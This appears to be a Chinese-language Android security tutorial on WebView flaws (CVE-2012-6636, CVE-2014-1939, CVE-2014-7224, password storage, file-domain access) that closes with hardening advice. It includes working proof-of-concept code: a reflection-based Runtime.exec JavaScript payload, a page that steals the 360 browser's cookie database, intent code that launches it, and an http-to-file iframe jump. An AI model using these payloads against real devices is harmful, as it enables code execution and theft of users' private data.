Android安全開發之WebView中的大坑
0X01 About WebView
在Android開發中,經常會使用WebView來實現WEB頁面的展示,在Activiry中啟動自己的瀏覽器,或者簡單的展示一些線上內容等。WebView功能強大,應用廣泛,但它是天使與惡魔的合體,一方面它增強了APP的上網體驗,讓APP功能更多樣化,另一方面它也引入了很多的安全問題。在過去幾年WebView中被披露的重大漏洞包括了任意程式碼執行漏洞、跨域、密碼明文儲存等,這些安全問題可以直接導致使用者敏感資訊洩露,移動終端被惡意攻擊者控制。下文將詳細介紹這一系列安全問題,羅列相關的一些案列,並提供相應安全開發建議。
0X02 WebView任意程式碼執行漏洞
已知的WebView任意程式碼執行漏洞有4個。較早被公佈是CVE-2012-6636,揭露了WebView中addJavascriptInterface介面會引起遠端程式碼執行漏洞。接著是CVE-2013-4710,針對某些特定機型會存在addJavascriptInterface API引起的遠端程式碼執行漏洞。之後是CVE-2014-1939爆出WebView中內建匯出的“searchBoxJavaBridge_”Java Object可能被利用,實現遠端任意程式碼。再後來是CVE-2014-7224,類似於CVE-2014-1939,WebView內建匯出“accessibility”和“accessibilityTraversal”兩個Java Object介面,可被利用實現遠端任意程式碼執行。
後文我們將圍繞下面這段常見的示例程式碼展開:
WebView mWebView = (WebView)findViewById(R.id.webView);
①WebSettings msetting = mWebView.getSettings();
②msetting.setJavaScriptEnabled(true);
③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs");
④mWebView.loadUrl(getIntent().getStringExtra("url"));
CVE-2012-6636
Android系統為了方便APP中Java程式碼和網頁中的Javascript指令碼互動,在WebView控制元件中實現了addJavascriptInterface介面,對應示例程式碼中的③,網頁中的JS指令碼可以利用介面“myjs”呼叫App中的Java程式碼,而Java物件繼承關係會導致很多Public的函式及getClass函式都可以在JS中被訪問,結合Java的反射機制,攻擊者還可以獲得系統類的函式,進而可以進行任意程式碼執行。漏洞在2013年8月被披露後,很多APP都中招,其中瀏覽器APP成為重災區。但截至目前任有很多APP中依然存在此漏洞,與以往不同的只是攻擊入口發生了一定的變化。另外我們也發現一些小廠商的APP開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用addjs介面,明目張膽踩雷。
出於安全考慮,Google在API 17中規定允許被呼叫的函式必須以@JavascriptInterface進行註解,理論上如果APP依賴的API為17或者以上,就不會受該問題的影響。但部分機型上,API 17依然受影響,並且如果APP存在此漏洞,且targetsdk小於17,那漏洞的影響可以覆蓋到android4.4的終端,如果大於等於17,只能在android4.2的機型上觸發,所以前一種情況的危害目前來看依舊很大。
CVE-2014-1939
在2014年發現在Android4.4以下的系統中,webkit中預設內建了“searchBoxJavaBridge_”, 程式碼位於“java/android/webkit/BrowserFrame.java”,該介面同樣存在遠端程式碼執行的威脅。
CVE-2014-7224
在2014年,研究人員Daoyuan Wu和Rocky Chang發現,當系統輔助功能服務被開啟時,在Android4.4以下的系統中,由系統提供的WebView元件都預設匯出"accessibility" 和"accessibilityTraversal"這兩個介面,程式碼位於“android/webkit/AccessibilityInjector.java”,這兩個介面同樣存在遠端任意程式碼執行的威脅。
常見掛馬頁面
function addJsHack(cmdArgs){
for (var obj in window)
{ try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;
}catch(e){
}
}
} catch(e) {
}
}
}
addJsHack()
掃碼攻擊
圖片來自於某漏洞收集平臺,通過二維碼掃描觸發WebView任意程式碼執行漏洞
以聚美優品為例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相關程式碼位於com.jm.android.jumei.controls.JuMeiCustomWebView.java中:
public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) {
......
this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);
}
0X03 WebView密碼明文儲存漏洞
WebView預設開啟密碼儲存功能mWebView.setSavePassword(true),如果該功能未關閉,在使用者輸入密碼時,會彈出提示框,詢問使用者是否儲存密碼,如果選擇"是",密碼會被明文保到/data/data/com.package.name/databases/webview.db
0X04 WebView域控制不嚴格漏洞
setAllowFileAccess
Android中預設mWebView.setAllowFileAccess(true),在File域下,能夠執行任意的JavaScript程式碼,同源策略跨域訪問能夠對私有目錄檔案進行訪問等。APP對嵌入的WebView未對file:/// 形式的URL做限制,會導致隱私資訊洩露,針對IM類軟體會導致聊天資訊、聯絡人等等重要資訊洩露,針對瀏覽器類軟體,則更多的是cookie資訊洩露。
setAllowFileAccessFromFileURLs
在JELLY_BEAN以前的版本預設是setAllowFileAccessFromFileURLs(true),允許通過file域url中的Javascript讀取其他本地檔案,在JELLY_BEAN及以後的版本中預設已被是禁止。
setAllowUniversalAccessFromFileURLs
在JELLY_BEAN以前的版本預設是setAllowUniversalAccessFromFileURLs(true),允許通過file域url中的Javascript訪問其他的源,包括其他的本地檔案和http,https源的資料。在JELLY_BEAN及以後的版本中預設已被禁止。
360手機瀏覽器缺陷可導致使用者敏感資料洩漏
以360手機瀏覽器4.8版本為例,由於未對file域做安全限制,惡意APP呼叫360瀏覽器載入本地的攻擊頁面(比如惡意APP釋放到SDCARD上的一個HTML)後,就可以獲取360手機瀏覽器下的所有私有資料,包括webviewCookiesChromium.db下的cookie內容,攻擊頁面關鍵程式碼:
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取儲存cookie的db
var path = prefix.concat(postfix);
// 獲取本地檔案程式碼
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
漏洞利用程式碼:
copyFile(); //自定義函式,釋放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
0X05 WebView file跨域漏洞
Android 2.3 webkit或者瀏覽器APP自建核心中會存在此類跨域漏洞。在處理轉跳時存在漏洞,導致允許從http域跨向file域,實現跨域漏洞。以某瀏覽器4.5.0.511版本為例,寫一個html,命名為filereach.html,存放在伺服器上。該瀏覽器4.5.0.511的X5核心存在http域跨file域的漏洞。POC程式碼如下所示:
<iframe name=f src="www.baidu.com" ></iframe>
<script>
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
在瀏覽器中開啟伺服器上的filereach.html,將從http域跳轉到file域
0X06安全開發建議
1)建議開發者通過以下方式移除該JavaScript介面:
removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal")
2)出於安全考慮,為了防止Java層的函式被隨便呼叫,Google在4.2版本之後,規定允許被呼叫的函式必須以@JavascriptInterface進行註解
3)通過WebSettings.setSavePassword(false)關閉密碼儲存提醒功能
4)通過以下設定,防止越權訪問,跨域等安全問題:
setAllowFileAccess(false)
setAllowFileAccessFromFileURLs(false)
setAllowUniversalAccessFromFileURLs(false)